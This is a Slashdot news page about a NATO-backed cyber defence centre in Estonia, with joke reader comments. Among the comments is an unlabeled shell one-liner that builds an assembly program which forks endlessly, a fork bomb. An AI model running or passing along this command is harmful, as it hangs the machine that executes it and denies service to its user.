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Estonian Cyber Defence Hub Set Up

Posted by samzenpus on from the protecting-the-innocent dept.

w1z4rd writes "The BBC reports that seven Nato nations have backed a new cyber defence centre in Estonia, which last year blamed Russia for weeks of attacks on its internet structure. The US will initially send an observer to the project, which will have some 30 staff when fully operational in August."

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  1. Obligatory: by UncleTogie · · Score: 4, Funny

    Did anyone else read that as "Elbonia" when they first read it? I was picturing an ungodly amalgamation of mud, wooden slingshots, 286s, and farm animals...

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    1. Re:Obligatory: by Anonymous Coward · · Score: 5, Funny

      No, because I can read.

  2. Re:bummer by Hal_Porter · · Score: 5, Funny

    I work for the Department of Disinformation and Psychological Warfare at Microsoft. Sounded cool when I applied but I just spend all my time trolling slashdot and submitting bits of Windows source code to ReactOS.

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    echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
  3. What?! by phagstrom · · Score: 5, Funny

    They'll never defend anything with a hub. At the very least they should get a router. ~